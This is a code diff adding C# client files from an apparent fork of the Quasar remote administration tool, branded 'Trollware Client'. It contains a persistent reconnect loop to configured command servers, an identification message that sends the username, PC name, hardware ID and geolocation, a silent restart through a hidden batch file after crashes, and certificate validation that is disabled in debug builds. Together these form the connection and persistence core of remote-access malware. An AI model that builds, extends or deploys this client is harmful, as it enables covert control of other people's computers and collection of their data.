public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that the client has sent a message.
|
||||
/// </summary>
|
||||
/// <param name="message">The message that has been sent by the client.</param>
|
||||
/// <param name="messageLength">The length of the message.</param>
|
||||
private void OnClientWrite(IMessage message, int messageLength)
|
||||
{
|
||||
var handler = ClientWrite;
|
||||
handler?.Invoke(this, message, messageLength);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The type of the message received.
|
||||
/// </summary>
|
||||
public enum ReceiveType
|
||||
{
|
||||
Header,
|
||||
Payload
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The buffer size for receiving data in bytes.
|
||||
/// </summary>
|
||||
public int BUFFER_SIZE { get { return 1024 * 16; } } // 16KB
|
||||
|
||||
/// <summary>
|
||||
/// The keep-alive time in ms.
|
||||
/// </summary>
|
||||
public uint KEEP_ALIVE_TIME { get { return 25000; } } // 25s
|
||||
|
||||
/// <summary>
|
||||
/// The keep-alive interval in ms.
|
||||
/// </summary>
|
||||
public uint KEEP_ALIVE_INTERVAL { get { return 25000; } } // 25s
|
||||
|
||||
/// <summary>
|
||||
/// The header size in bytes.
|
||||
/// </summary>
|
||||
public int HEADER_SIZE { get { return 4; } } // 4B
|
||||
|
||||
/// <summary>
|
||||
/// The maximum size of a message in bytes.
|
||||
/// </summary>
|
||||
public int MAX_MESSAGE_SIZE { get { return (1024 * 1024) * 50; } } // 50MB
|
||||
|
||||
/// <summary>
|
||||
/// Gets if the client is currently connected to a server.
|
||||
/// </summary>
|
||||
public bool Connected { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// The stream used for communication.
|
||||
/// </summary>
|
||||
private SslStream _stream;
|
||||
|
||||
/// <summary>
|
||||
/// The server certificate.
|
||||
/// </summary>
|
||||
private readonly X509Certificate2 _serverCertificate;
|
||||
|
||||
/// <summary>
|
||||
/// The buffer for incoming messages.
|
||||
/// </summary>
|
||||
private byte[] _readBuffer;
|
||||
|
||||
/// <summary>
|
||||
/// The buffer for the client's incoming payload.
|
||||
/// </summary>
|
||||
private byte[] _payloadBuffer;
|
||||
|
||||
/// <summary>
|
||||
/// The queue which holds messages to send.
|
||||
/// </summary>
|
||||
private readonly Queue<IMessage> _sendBuffers = new Queue<IMessage>();
|
||||
|
||||
/// <summary>
|
||||
/// Determines if the client is currently sending messages.
|
||||
/// </summary>
|
||||
private bool _sendingMessages;
|
||||
|
||||
/// <summary>
|
||||
/// Lock object for the sending messages boolean.
|
||||
/// </summary>
|
||||
private readonly object _sendingMessagesLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// The queue which holds buffers to read.
|
||||
/// </summary>
|
||||
private readonly Queue<byte[]> _readBuffers = new Queue<byte[]>();
|
||||
|
||||
/// <summary>
|
||||
/// Determines if the client is currently reading messages.
|
||||
/// </summary>
|
||||
private bool _readingMessages;
|
||||
|
||||
/// <summary>
|
||||
/// Lock object for the reading messages boolean.
|
||||
/// </summary>
|
||||
private readonly object _readingMessagesLock = new object();
|
||||
|
||||
// Receive info
|
||||
private int _readOffset;
|
||||
private int _writeOffset;
|
||||
private int _readableDataLen;
|
||||
private int _payloadLen;
|
||||
private ReceiveType _receiveState = ReceiveType.Header;
|
||||
|
||||
/// <summary>
|
||||
/// The mutex prevents multiple simultaneous write operations on the <see cref="_stream"/>.
|
||||
/// </summary>
|
||||
private readonly Mutex _singleWriteMutex = new Mutex();
|
||||
|
||||
/// <summary>
|
||||
/// Constructor of the client, initializes serializer types.
|
||||
/// </summary>
|
||||
/// <param name="serverCertificate">The server certificate.</param>
|
||||
protected Client(X509Certificate2 serverCertificate)
|
||||
{
|
||||
_serverCertificate = serverCertificate;
|
||||
_readBuffer = new byte[BUFFER_SIZE];
|
||||
TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray());
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to connect to the specified ip address on the specified port.
|
||||
/// </summary>
|
||||
/// <param name="ip">The ip address to connect to.</param>
|
||||
/// <param name="port">The port of the host.</param>
|
||||
protected void Connect(IPAddress ip, ushort port)
|
||||
{
|
||||
Socket handle = null;
|
||||
try
|
||||
{
|
||||
Disconnect();
|
||||
|
||||
handle = new Socket(ip.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
|
||||
handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
|
||||
handle.Connect(ip, port);
|
||||
|
||||
if (handle.Connected)
|
||||
{
|
||||
_stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate);
|
||||
_stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls12, false);
|
||||
_stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
|
||||
OnClientState(true);
|
||||
}
|
||||
else
|
||||
{
|
||||
handle.Dispose();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
handle?.Dispose();
|
||||
OnClientFail(ex);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Validates the server certificate by comparing it with the included server certificate.
|
||||
/// </summary>
|
||||
/// <param name="sender">The sender of the callback.</param>
|
||||
/// <param name="certificate">The server certificate to validate.</param>
|
||||
/// <param name="chain">The X.509 chain.</param>
|
||||
/// <param name="sslPolicyErrors">The SSL policy errors.</param>
|
||||
/// <returns>Returns <value>true</value> when the validation was successful, otherwise <value>false</value>.</returns>
|
||||
private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
|
||||
{
|
||||
#if DEBUG
|
||||
// for debugging don't validate server certificate
|
||||
return true;
|
||||
#else
|
||||
var serverCsp = (RSACryptoServiceProvider)_serverCertificate.PublicKey.Key;
|
||||
var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(certificate).PublicKey.Key;
|
||||
// compare the received server certificate with the included server certificate to validate we are connected to the correct server
|
||||
return _serverCertificate.Equals(certificate);
|
||||
#endif
|
||||
}
|
||||
|
||||
private void AsyncReceive(IAsyncResult result)
|
||||
{
|
||||
int bytesTransferred;
|
||||
|
||||
try
|
||||
{
|
||||
bytesTransferred = _stream.EndRead(result);
|
||||
|
||||
if (bytesTransferred <= 0)
|
||||
throw new Exception("no bytes transferred");
|
||||
}
|
||||
catch (NullReferenceException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] received = new byte[bytesTransferred];
|
||||
|
||||
try
|
||||
{
|
||||
Array.Copy(_readBuffer, received, received.Length);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnClientFail(ex);
|
||||
return;
|
||||
}
|
||||
|
||||
lock (_readBuffers)
|
||||
{
|
||||
_readBuffers.Enqueue(received);
|
||||
}
|
||||
|
||||
lock (_readingMessagesLock)
|
||||
{
|
||||
if (!_readingMessages)
|
||||
{
|
||||
_readingMessages = true;
|
||||
ThreadPool.QueueUserWorkItem(AsyncReceive);
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
_stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnClientFail(ex);
|
||||
}
|
||||
}
|
||||
|
||||
private void AsyncReceive(object state)
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
byte[] readBuffer;
|
||||
lock (_readBuffers)
|
||||
{
|
||||
if (_readBuffers.Count == 0)
|
||||
{
|
||||
lock (_readingMessagesLock)
|
||||
{
|
||||
_readingMessages = false;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
readBuffer = _readBuffers.Dequeue();
|
||||
}
|
||||
|
||||
_readableDataLen += readBuffer.Length;
|
||||
bool process = true;
|
||||
while (process)
|
||||
{
|
||||
switch (_receiveState)
|
||||
{
|
||||
case ReceiveType.Header:
|
||||
{
|
||||
if (_payloadBuffer == null)
|
||||
_payloadBuffer = new byte[HEADER_SIZE];
|
||||
|
||||
if (_readableDataLen + _writeOffset >= HEADER_SIZE)
|
||||
{
|
||||
// completely received header
|
||||
int headerLength = HEADER_SIZE - _writeOffset;
|
||||
|
||||
try
|
||||
{
|
||||
Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength);
|
||||
|
||||
_payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset);
|
||||
|
||||
if (_payloadLen <= 0 || _payloadLen > MAX_MESSAGE_SIZE)
|
||||
throw new Exception("invalid header");
|
||||
|
||||
// try to re-use old payload buffers which fit
|
||||
if (_payloadBuffer.Length <= _payloadLen + HEADER_SIZE)
|
||||
Array.Resize(ref _payloadBuffer, _payloadLen + HEADER_SIZE);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
process = false;
|
||||
Disconnect();
|
||||
break;
|
||||
}
|
||||
|
||||
_readableDataLen -= headerLength;
|
||||
_writeOffset += headerLength;
|
||||
_readOffset += headerLength;
|
||||
_receiveState = ReceiveType.Payload;
|
||||
}
|
||||
else // _readableDataLen + _writeOffset < HeaderSize
|
||||
{
|
||||
// received only a part of the header
|
||||
try
|
||||
{
|
||||
Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
process = false;
|
||||
Disconnect();
|
||||
break;
|
||||
}
|
||||
_readOffset += _readableDataLen;
|
||||
_writeOffset += _readableDataLen;
|
||||
process = false;
|
||||
// nothing left to process
|
||||
}
|
||||
break;
|
||||
}
|
||||
case ReceiveType.Payload:
|
||||
{
|
||||
int length = (_writeOffset - HEADER_SIZE + _readableDataLen) >= _payloadLen
|
||||
? _payloadLen - (_writeOffset - HEADER_SIZE)
|
||||
: _readableDataLen;
|
||||
|
||||
try
|
||||
{
|
||||
Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
process = false;
|
||||
Disconnect();
|
||||
break;
|
||||
}
|
||||
|
||||
_writeOffset += length;
|
||||
_readOffset += length;
|
||||
_readableDataLen -= length;
|
||||
|
||||
if (_writeOffset - HEADER_SIZE == _payloadLen)
|
||||
{
|
||||
// completely received payload
|
||||
try
|
||||
{
|
||||
using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HEADER_SIZE, false))
|
||||
{
|
||||
IMessage message = pr.ReadMessage();
|
||||
|
||||
OnClientRead(message, _payloadBuffer.Length);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
process = false;
|
||||
Disconnect();
|
||||
break;
|
||||
}
|
||||
|
||||
_receiveState = ReceiveType.Header;
|
||||
_payloadLen = 0;
|
||||
_writeOffset = 0;
|
||||
}
|
||||
|
||||
if (_readableDataLen == 0)
|
||||
process = false;
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
_readOffset = 0;
|
||||
_readableDataLen = 0;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a message to the connected server.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type of the message.</typeparam>
|
||||
/// <param name="message">The message to be sent.</param>
|
||||
public void Send<T>(T message) where T : IMessage
|
||||
{
|
||||
if (!Connected || message == null) return;
|
||||
|
||||
lock (_sendBuffers)
|
||||
{
|
||||
_sendBuffers.Enqueue(message);
|
||||
|
||||
lock (_sendingMessagesLock)
|
||||
{
|
||||
if (_sendingMessages) return;
|
||||
|
||||
_sendingMessages = true;
|
||||
ThreadPool.QueueUserWorkItem(ProcessSendBuffers);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a message to the connected server.
|
||||
/// Blocks the thread until the message has been sent.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type of the message.</typeparam>
|
||||
/// <param name="message">The message to be sent.</param>
|
||||
public void SendBlocking<T>(T message) where T : IMessage
|
||||
{
|
||||
if (!Connected || message == null) return;
|
||||
|
||||
SafeSendMessage(message);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Safely sends a message and prevents multiple simultaneous
|
||||
/// write operations on the <see cref="_stream"/>.
|
||||
/// </summary>
|
||||
/// <param name="message">The message to send.</param>
|
||||
private void SafeSendMessage(IMessage message)
|
||||
{
|
||||
try
|
||||
{
|
||||
_singleWriteMutex.WaitOne();
|
||||
using (PayloadWriter pw = new PayloadWriter(_stream, true))
|
||||
{
|
||||
OnClientWrite(message, pw.WriteMessage(message));
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
SendCleanup(true);
|
||||
}
|
||||
finally
|
||||
{
|
||||
_singleWriteMutex.ReleaseMutex();
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessSendBuffers(object state)
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
if (!Connected)
|
||||
{
|
||||
SendCleanup(true);
|
||||
return;
|
||||
}
|
||||
|
||||
IMessage message;
|
||||
lock (_sendBuffers)
|
||||
{
|
||||
if (_sendBuffers.Count == 0)
|
||||
{
|
||||
SendCleanup();
|
||||
return;
|
||||
}
|
||||
|
||||
message = _sendBuffers.Dequeue();
|
||||
}
|
||||
|
||||
SafeSendMessage(message);
|
||||
}
|
||||
}
|
||||
|
||||
private void SendCleanup(bool clear = false)
|
||||
{
|
||||
lock (_sendingMessagesLock)
|
||||
{
|
||||
_sendingMessages = false;
|
||||
}
|
||||
|
||||
if (!clear) return;
|
||||
|
||||
lock (_sendBuffers)
|
||||
{
|
||||
_sendBuffers.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disconnect the client from the server, disconnect all proxies that
|
||||
/// are held by this client, and dispose of other resources associated
|
||||
/// with this client.
|
||||
/// </summary>
|
||||
public void Disconnect()
|
||||
{
|
||||
if (_stream != null)
|
||||
{
|
||||
_stream.Close();
|
||||
_readOffset = 0;
|
||||
_writeOffset = 0;
|
||||
_readableDataLen = 0;
|
||||
_payloadLen = 0;
|
||||
_payloadBuffer = null;
|
||||
_receiveState = ReceiveType.Header;
|
||||
//_singleWriteMutex.Dispose(); TODO: fix socket re-use by creating new client on disconnect
|
||||
|
||||
}
|
||||
|
||||
OnClientState(false);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,176 @@
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Client.IO;
|
||||
using Quasar.Client.IpGeoLocation;
|
||||
using Quasar.Client.User;
|
||||
using Quasar.Common.DNS;
|
||||
using Quasar.Common.Helpers;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Utilities;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Networking
|
||||
{
|
||||
public class QuasarClient : Client, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// Used to keep track if the client has been identified by the server.
|
||||
/// </summary>
|
||||
private bool _identified;
|
||||
|
||||
/// <summary>
|
||||
/// The hosts manager which contains the available hosts to connect to.
|
||||
/// </summary>
|
||||
private readonly HostsManager _hosts;
|
||||
|
||||
/// <summary>
|
||||
/// Random number generator to slightly randomize the reconnection delay.
|
||||
/// </summary>
|
||||
private readonly SafeRandom _random;
|
||||
|
||||
/// <summary>
|
||||
/// Create a <see cref="_token"/> and signals cancellation.
|
||||
/// </summary>
|
||||
private readonly CancellationTokenSource _tokenSource;
|
||||
|
||||
/// <summary>
|
||||
/// The token to check for cancellation.
|
||||
/// </summary>
|
||||
private readonly CancellationToken _token;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="QuasarClient"/> class.
|
||||
/// </summary>
|
||||
/// <param name="hostsManager">The hosts manager which contains the available hosts to connect to.</param>
|
||||
/// <param name="serverCertificate">The server certificate.</param>
|
||||
public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
|
||||
: base(serverCertificate)
|
||||
{
|
||||
this._hosts = hostsManager;
|
||||
this._random = new SafeRandom();
|
||||
base.ClientState += OnClientState;
|
||||
base.ClientRead += OnClientRead;
|
||||
base.ClientFail += OnClientFail;
|
||||
this._tokenSource = new CancellationTokenSource();
|
||||
this._token = _tokenSource.Token;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Connection loop used to reconnect and keep the connection open.
|
||||
/// </summary>
|
||||
public void ConnectLoop()
|
||||
{
|
||||
// TODO: do not re-use object
|
||||
while (!_token.IsCancellationRequested)
|
||||
{
|
||||
if (!Connected)
|
||||
{
|
||||
Host host = _hosts.GetNextHost();
|
||||
|
||||
base.Connect(host.IpAddress, host.Port);
|
||||
}
|
||||
|
||||
while (Connected) // hold client open
|
||||
{
|
||||
try
|
||||
{
|
||||
_token.WaitHandle.WaitOne(1000);
|
||||
}
|
||||
catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (_token.IsCancellationRequested)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
Thread.Sleep(Settings.RECONNECTDELAY + _random.Next(250, 750));
|
||||
}
|
||||
}
|
||||
|
||||
private void OnClientRead(Client client, IMessage message, int messageLength)
|
||||
{
|
||||
if (!_identified)
|
||||
{
|
||||
if (message.GetType() == typeof(ClientIdentificationResult))
|
||||
{
|
||||
var reply = (ClientIdentificationResult) message;
|
||||
_identified = reply.Result;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
MessageHandler.Process(client, message);
|
||||
}
|
||||
|
||||
private void OnClientFail(Client client, Exception ex)
|
||||
{
|
||||
Debug.WriteLine("Client Fail - Exception Message: " + ex.Message);
|
||||
client.Disconnect();
|
||||
}
|
||||
|
||||
private void OnClientState(Client client, bool connected)
|
||||
{
|
||||
_identified = false; // always reset identification
|
||||
|
||||
if (connected)
|
||||
{
|
||||
// send client identification once connected
|
||||
|
||||
var geoInfo = GeoInformationFactory.GetGeoInformation();
|
||||
var userAccount = new UserAccount();
|
||||
|
||||
client.Send(new ClientIdentification
|
||||
{
|
||||
Version = Settings.VERSION,
|
||||
OperatingSystem = PlatformHelper.FullName,
|
||||
AccountType = userAccount.Type.ToString(),
|
||||
Country = geoInfo.Country,
|
||||
CountryCode = geoInfo.CountryCode,
|
||||
ImageIndex = geoInfo.ImageIndex,
|
||||
Id = HardwareDevices.HardwareId,
|
||||
Username = userAccount.UserName,
|
||||
PcName = SystemHelper.GetPcName(),
|
||||
Tag = Settings.TAG,
|
||||
EncryptionKey = Settings.ENCRYPTIONKEY,
|
||||
Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE)
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stops the connection loop and disconnects the connection.
|
||||
/// </summary>
|
||||
public void Exit()
|
||||
{
|
||||
_tokenSource.Cancel();
|
||||
Disconnect();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this activity detection service.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_tokenSource.Cancel();
|
||||
_tokenSource.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
using Quasar.Client.IO;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Net;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client
|
||||
{
|
||||
internal static class Program
|
||||
{
|
||||
[STAThread]
|
||||
private static void Main(string[] args)
|
||||
{
|
||||
// enable TLS 1.2
|
||||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
|
||||
|
||||
// Set the unhandled exception mode to force all Windows Forms errors to go through our handler
|
||||
Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);
|
||||
|
||||
// Add the event handler for handling UI thread exceptions
|
||||
Application.ThreadException += HandleThreadException;
|
||||
|
||||
// Add the event handler for handling non-UI thread exceptions
|
||||
AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;
|
||||
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run(new QuasarApplication());
|
||||
}
|
||||
|
||||
private static void HandleThreadException(object sender, ThreadExceptionEventArgs e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
try
|
||||
{
|
||||
string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true,
|
||||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
}
|
||||
catch (Exception exception)
|
||||
{
|
||||
Debug.WriteLine(exception);
|
||||
}
|
||||
finally
|
||||
{
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Handles unhandled exceptions by restarting the application and hoping that they don't happen again.
|
||||
/// </summary>
|
||||
/// <param name="sender">The source of the unhandled exception event.</param>
|
||||
/// <param name="e">The exception event arguments. </param>
|
||||
private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e)
|
||||
{
|
||||
if (e.IsTerminating)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
try
|
||||
{
|
||||
string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true,
|
||||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
}
|
||||
catch (Exception exception)
|
||||
{
|
||||
Debug.WriteLine(exception);
|
||||
}
|
||||
finally
|
||||
{
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// Allgemeine Informationen über eine Assembly werden über die folgenden
|
||||
// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern,
|
||||
// die mit einer Assembly verknüpft sind.
|
||||
[assembly: AssemblyTitle("Trollware Client")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("Trollware")]
|
||||
[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
[assembly: InternalsVisibleTo("Client.Tests")]
|
||||
|
||||
// Durch Festlegen von ComVisible auf "false" werden die Typen in dieser Assembly unsichtbar
|
||||
// für COM-Komponenten. Wenn Sie auf einen Typ in dieser Assembly von
|
||||
// COM zugreifen müssen, legen Sie das ComVisible-Attribut für diesen Typ auf "true" fest.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten:
|
||||
//
|
||||
// Hauptversion
|
||||
// Nebenversion
|
||||
// Buildnummer
|
||||
// Revision
|
||||
//
|
||||
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
|
||||
// übernehmen, indem Sie "*" eingeben:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.4.1")]
|
||||
[assembly: AssemblyFileVersion("1.4.1")]
|
||||
+63
@@ -0,0 +1,63 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
// Runtime Version:4.0.30319.42000
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace Quasar.Client.Properties {
|
||||
using System;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// A strongly-typed resource class, for looking up localized strings, etc.
|
||||
/// </summary>
|
||||
// This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
// class via a tool like ResGen or Visual Studio.
|
||||
// To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
// with the /str option, or rebuild your VS project.
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
internal class Resources {
|
||||
|
||||
private static global::System.Resources.ResourceManager resourceMan;
|
||||
|
||||
private static global::System.Globalization.CultureInfo resourceCulture;
|
||||
|
||||
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
|
||||
internal Resources() {
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns the cached ResourceManager instance used by this class.
|
||||
/// </summary>
|
||||
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||
internal static global::System.Resources.ResourceManager ResourceManager {
|
||||
get {
|
||||
if (object.ReferenceEquals(resourceMan, null)) {
|
||||
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Client.Properties.Resources", typeof(Resources).Assembly);
|
||||
resourceMan = temp;
|
||||
}
|
||||
return resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Overrides the current thread's CurrentUICulture property for all
|
||||
/// resource lookups using this strongly typed resource class.
|
||||
/// </summary>
|
||||
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||
internal static global::System.Globalization.CultureInfo Culture {
|
||||
get {
|
||||
return resourceCulture;
|
||||
}
|
||||
set {
|
||||
resourceCulture = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
